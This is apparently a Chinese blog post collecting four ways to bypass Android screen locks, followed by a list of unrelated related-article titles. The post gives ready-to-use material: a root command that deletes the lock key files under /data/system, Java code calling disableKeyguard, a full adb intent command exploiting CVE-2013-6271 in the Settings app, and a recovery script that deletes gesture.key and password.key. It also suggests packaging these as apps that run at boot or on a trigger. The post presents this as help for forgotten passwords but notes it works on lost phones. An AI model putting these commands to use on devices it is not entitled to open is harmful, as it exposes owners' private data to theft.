安全是双刃剑,可以方便自己忘记密码时解锁,也有可能以为手机丢失泄露自己信息

首先各种屏锁都有其对应的编码方式,最终以二进制的形式(可能加密)存放在系统某个目录,一般位于目录/data/system下,以*.key等文件存储。当需用户输入密码(图形)时,会将我们的输入进行相应的编码,最后于本地存储的二进制进行比较,判断是否解锁成功。所以,最直接的方式就是强暴!

方法1.

前置条件:已root
细节:已经root了,还有什么好说的,直接把需要比对的文件强行抹掉就OK了。因此命令 rm /dara/system/*.key
至于用什么方式删除,可以usb连接通过adb完成。也可以写个手机应用某些特定条件下触发。

方法2.

前置条件:无
细节:该方法没那么恶劣,并不是直接把对比文件删除,小小的利用了存在的一个小的逻辑漏洞(也有可能是有些应用需要改功能,所以google提供了api)。该方法只是简单的屏蔽掉了解锁的界面,有木有很文雅。对于图形锁进去之后,按home键还是能弹出锁屏界面。

KeyguardManager manager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);if (manager.inKeyguardRestrictedInputMode()) {        KeyguardLock keyguard = manager.newKeyguardLock(this.getClass().getName());        keyguard.disableKeyguard();}
就这么一句话,写成apk运行就好了,可以写成开机启动触发apk运行,也可以写成脚本usb连接后adb运行apk。上次的小小展示就是这个。

方法3.

13年11月新的招式~~~

前置条件:无
细节:大家都知道android上屏锁有很多类,字符密码,pin码,图案码,人脸码,当然还有无码。那么我们切换屏锁类型是是需要验证之前密码的。
而这个验证环节与系统应用有关,com.android.settings这个APK的其中一个类:com.android.settings.ChooseLockGeneric。由于android是开源的,那么可以查看其对应的源代码,找到漏洞,构造特定数据就可以实现绕过了。usb连接,启用adb尝试吧!
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
该命令就是想特定apk特定的一个组件发送intent并附带我们构造的数据,有兴趣的可以多了解,同样可以写成一个应用执行

举这个例子也想告诉大家,android平台的安全有一个特点,也许自身应用是安全的,但是它可以通过另一个应用做坏事,也可以被另一个恶意程序利用

具体分析可以查看 : https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/
还有一些方式,这里不展开了,都是需要adb或多或少需要开启 usb调试模式

方法4.
前置条件:可以刷机
由于版本不一,还有本人没有实践,只是看了下刷机脚本,觉得可行,外国佬某博客说他做到不格式化数据解锁。 原理其实是方法1

ui_print("Password Resetting ZIP by RahulB");
ui_print("Mounting System");
ui_print("Mounting Data");
run_program("/sbin/busybox", "mount", "/system");
run_program("/sbin/busybox", "mount", "/data");
ui_print("Deleting Pattern/ PIN Lock Keys");
delete("/data/system/gesture.key");
delete("/data/system/password.key");
ui_print("Unmounting System");
ui_print("Unmounting Data");
run_program("/sbin/busybox", "umount", "/system");
run_program("/sbin/busybox", "umount", "/data");
ui_print("Done :D");

方法还有很多很多,不列举了,有兴趣的大家留着,密码忘记了可以自行解决

Android常见绕过屏锁小技巧汇总相关推荐

  1. Android Coding利器之掌握小技巧,助你Coding更上一层楼~

    本文讲的是Android Coding利器之掌握小技巧,助你Coding更上一层楼~,话说前几天在网上浏览到一大牛写的关于Android布局优化的文章,看后感触很深,回过头看看自己写过的代码,发现还是 ...

  2. 电脑知识 小技巧汇总

    小技巧汇总 我综合了网上的有关软件应用的小巧和自己的几个,希望对大家有用,如果你有更好的请跟帖子大家共分享!有关注册表修改的,请先备份注册表! 1. 影音文件在xp中无法删除 很多情况下是因为预览功能 ...

  3. VC小技巧汇总之对话框技巧

    这篇文章主要介绍了VC小技巧汇总之对话框技巧,非常实用!对于进行VC开发有一定的参考借鉴价值,需要的朋友可以参考下 本文搜集汇总了VC中关于对话框常用的一些技巧,对于进行VC开发由于一定的参考借鉴价值 ...

  4. JAVASCRIPT常用20种小技巧汇总

    1.TEXTAREA自适应文字行数的多少 2.脚本永不出错 <script LANGUAGE="javascript"> </script> 3.ENTER ...

  5. android studio多媒体播放器,Android支持全屏、小窗口的视频播放器

    NiceVieoPlayer Android支持全屏.小窗口的视频播放器,完美实现全屏.小窗口播放切换 Features 用IjkPlayer/MediaPlayer + TextureView封装, ...

  6. oracle ebs form 计算 汇总公式,Oracle+EBS+Form开发小技巧汇总

    oracle form开发的技巧 content Oracle EBS Form开发小技巧汇总 ..................................... 2 Form中Block的重 ...

  7. android图片底部居中对齐,android开发图片居中的小技巧

    释放双眼,带上耳机,听听看~! 制作UI布局的时候都会出现复杂的LinearLayout嵌套,并且常常会被一些问题混淆,警惕在android中图片居中的小技巧大家都知道吗?别着急,下文是技术狗小编为大 ...

  8. Android开发-小技巧汇总2

    启动虚拟机时,在 launch options 窗口中 有个 wipe user data ,勾选它,将会让虚拟机 [恢复出厂设置] 2.[如果想让自己的应用程序有多个启动图标:] 为一个应用的 多个 ...

  9. Android Coding 利器 之 掌握小技巧,助你Coding更上一层楼~

    LZ-Says:我不知道路的前方是什么,但是我知道,只要努力向前奔跑,希望总会伴随身旁~ 前言 话说前几天在网上浏览到一大牛写的关于Android布局优化的文章,看后感触很深,回过头看看自己写过的代码 ...

最新文章

  1. HDU 排名(简单题)
  2. 龙蜥降世,神龙升级,阿里云投入 20 亿发力操作系统
  3. RDKit | 基于RDKit和scikit-learn的KNN模型预测Ames的致突变性
  4. metasploit 中 exploit模块check方法简介
  5. HTML知识点总结之ul,ol,li标签
  6. AGC023F - 01 on Tree
  7. 中学编程_您可以从30岁的第一次编程采访中学到什么
  8. springmvc常用注解与类型转换
  9. BZOJ 1108: [POI2007]天然气管道Gaz
  10. Identityserver4配置证书
  11. Js对接口数据归类整理
  12. html5--select与HTML5新增的datalist元素
  13. 08 计算机视觉-opencv直方图与傅里叶变换
  14. Protel DXP 2004的元件封装/快捷键大全/PCB使用技巧
  15. 计算机网络数据链路层
  16. 微信开发学习总结(一)——微信开发环境搭建
  17. PostgreSQL AUTO INCREMENT
  18. ImportError: DLL load failed while importing _multiarray_umath: 找不到指定的模块(pyinstaller打包的问题)
  19. 论VM和Hyper-v虚拟机的使用场景
  20. 2022年低代码关键点:GeneXus即将推出什么

热门文章

  1. 3145 汉诺塔游戏
  2. 2019 编程语言排行榜:Java、Python 龙争虎斗!PHP 屹立不倒!
  3. 如何在ubuntu上使用校园网上网
  4. LeetCode695题求最大岛屿面积(DFS深度优先算法)
  5. HK技术玩的再好~缺无法***你的心
  6. 公众号开发(一) -- 准备工作
  7. OpenGL基础37:反射与折射
  8. 国内如何快速下载keil的pack文件包(干货)
  9. 根据经纬度获取城市信息(谷歌地图api)
  10. 关于tomcat的一些问题